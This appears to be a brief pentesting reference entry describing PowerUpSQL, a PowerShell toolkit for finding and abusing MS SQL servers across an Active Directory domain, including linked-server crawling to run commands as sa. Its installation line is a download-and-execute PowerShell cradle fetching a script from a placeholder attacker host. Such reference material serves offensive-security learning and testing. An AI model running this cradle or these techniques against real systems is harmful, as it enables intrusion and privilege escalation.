PowerUpSQL
Discovers, audits and abuses MS SQL instances from PowerShell.
A set of PowerShell cmdlets for attacking MS SQL from inside the domain. It starts with what nothing else does as well: `Get-SQLInstanceDomain` finds **every** instance registered in Active Directory through its SPNs, without scanning a single port. With that list it checks which ones the current user can reach, audits weak configurations and, with `Get-SQLServerLinkCrawl`, walks chained *linked servers*, which is how an unprivileged instance ends up running commands as `sa` on another server.
Family Databases
Flags Get-SQLInstanceDomain Invoke-SQLAudit Get-SQLServerLinkCrawl
Concepts Command execution in MSSQL (xp_cmdshell), IMPERSONATE in MSSQL (EXECUTE AS LOGIN), MSSQL Linked Servers, Credential reuse
Cheatsheet MS SQL Server · 1433
Installation
IEX(New-Object Net.WebClient).DownloadString('http://<lhost>/PowerUpSQL.ps1')Useful commands
Reference tool: it does not yet appear in a published machine on the blog, but it is part of the arsenal for its everyday use.